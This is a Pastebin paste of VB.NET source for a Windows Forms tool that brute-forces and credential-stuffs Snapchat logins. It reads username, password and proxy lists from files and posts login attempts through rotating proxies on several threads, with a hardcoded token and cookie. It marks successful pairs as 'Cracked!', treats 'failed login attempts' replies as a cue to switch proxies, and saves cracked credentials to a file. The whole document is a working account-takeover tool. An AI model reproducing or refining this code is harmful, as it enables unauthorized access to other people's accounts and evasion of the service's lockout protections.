Advertisement
Guest User

Untitled

a guest
Jan 21st, 2018
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.23 KB | None | 0 0
  1. Imports System.IO
  2. Imports System.Net
  3. Imports System.Text
  4.  
  5. Public Class Form1
  6.  
  7. Private OFF As Boolean = True
  8. Dim usernames() As String
  9. Dim Passwords() As String
  10. Dim Proxy() As String
  11. Private proxylist As Boolean = False
  12.  
  13.  
  14. Public Function login(username As String, Password As String, Proxy As WebProxy)
  15. Dim result As String
  16. While OFF = False
  17.  
  18. Try
  19.  
  20. Dim postData As String = "password=" & Password & "&req_token=9306185051313f386e153bedf5a833f49aec4d8c19313a8099b49614d6c51d9b&timestamp=1512114873&username=" & username
  21. Dim tempCook As CookieContainer
  22. Dim encoding As New UTF8Encoding
  23. Dim bytedata As Byte() = encoding.GetBytes(postData)
  24. Dim request As HttpWebRequest = DirectCast(WebRequest.Create("https://app.snapchat.com/loq/login"), HttpWebRequest)
  25. request.Proxy = Proxy
  26.  
  27. request.Headers.Add("Accept-Language", "en;q=0.9")
  28. request.Headers.Add("Cookie", "sc_at=v2|H4sIAAAAAAAAAE3GwRHAIAgEwIqYgRzIkW400Sos3q/7WsJ65EOZ6E0cY8mgQry+icKfzLVN9bWw5qxA7at6ALzdHtpAAAAA")
  29. request.ContentType = "application/x-www-form-urlencoded"
  30. request.Method = "POST"
  31. request.KeepAlive = True
  32. request.CookieContainer = tempCook
  33. request.UserAgent = "Snapchat/8.8.0.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)"
  34. request.ContentLength = bytedata.Length
  35. Dim requestStream As Stream = request.GetRequestStream()
  36. requestStream.Write(bytedata, 0, bytedata.Length)
  37. requestStream.Close()
  38. Dim responseS As HttpWebResponse
  39. responseS = DirectCast(request.GetResponse(), HttpWebResponse)
  40. Dim Reader As New StreamReader(responseS.GetResponseStream())
  41. Dim thepage As String = Reader.ReadToEnd
  42.  
  43. If thepage.Contains("Thanks!") Then
  44. result = "Cracked!"
  45. Right.Text = Right.Text & vbCrLf & username & ":" & Password
  46.  
  47. ElseIf thepage.Contains("password is incorrect") Then
  48. result = "password wrong"
  49. Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password
  50.  
  51. ElseIf thepage.Contains("failed login attempts") Then
  52. result = "Proxy Blocked"
  53. Wrong.Text = Wrong.Text & vbCrLf & "Proxy Blocked Changing Proxy"
  54. ElseIf thepage.Contains("Invalid account") Then
  55.  
  56. result = "account not found"
  57. Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password
  58.  
  59. End If
  60.  
  61. Catch ex As Exception
  62. Wrong.Text = Wrong.Text & vbCrLf & "Error: " & ex.Message
  63. End Try
  64.  
  65.  
  66. End While
  67.  
  68. End Function
  69.  
  70. Public Sub loggingin()
  71. If proxylist Then
  72.  
  73. For i As Integer = 0 To usernames.Length
  74. For ii As Integer = 0 To Passwords.Length
  75. Dim rnd = New Random()
  76. For iii As Int32 = 0 To Proxy.Length - 1
  77. Dim randomProxy = Proxy(rnd.Next(0, Proxy.Count))
  78. Dim myProxy As New WebProxy(randomProxy)
  79. login(usernames(i), Passwords(ii), myProxy)
  80. Next
  81. Next
  82. Next
  83.  
  84. Else
  85.  
  86. MsgBox("You don't have any proxy list , please click on generate proxy")
  87.  
  88. End If
  89.  
  90. End Sub
  91.  
  92. Private Sub NsButton3_Click(sender As Object, e As EventArgs) Handles NsButton3.Click
  93. Dim file As System.IO.StreamWriter
  94. Dim FileName As String = "Cracked.txt"
  95. FileName = FileName.Replace(".txt", "_" & System.DateTime.Now.ToString("yyyy-MM-dd HH-mm-ss") & ".txt")
  96. file = My.Computer.FileSystem.OpenTextFileWriter(FileName, True)
  97. file.WriteLine(Right.Text)
  98. file.Close()
  99. MsgBox("Saved : " & FileName)
  100.  
  101. End Sub
  102.  
  103. Private Sub NsButton2_Click(sender As Object, e As EventArgs) Handles NsButton2.Click
  104. OFF = True
  105. End Sub
  106.  
  107. Private Sub NsButton1_Click(sender As Object, e As EventArgs) Handles NsButton1.Click
  108. OFF = False
  109.  
  110. Dim x As Integer = 5
  111. Dim threads = New Threading.Thread(x - 1) {}
  112. For i = 0 To x - 1
  113. threads(i) = New Threading.Thread((New Threading.ThreadStart(AddressOf loggingin)))
  114. threads(i).Start()
  115. Next
  116. End Sub
  117.  
  118. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
  119. CheckForIllegalCrossThreadCalls = False
  120. usernames = File.ReadAllLines("user.txt")
  121. Passwords = File.ReadAllLines("pass.txt")
  122. If System.IO.File.Exists("proxy.txt") Then
  123.  
  124. Proxy = File.ReadAllLines("proxy.txt")
  125.  
  126. proxylist = True
  127.  
  128. End If
  129.  
  130.  
  131. End Sub
  132.  
  133. Private Sub NsButton4_Click(sender As Object, e As EventArgs) Handles NsButton4.Click
  134. Form2.Show()
  135. End Sub
  136.  
  137. Private Sub NsControlButton1_Click(sender As Object, e As EventArgs) Handles NsControlButton1.Click
  138. Application.Exit()
  139. End Sub
  140. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement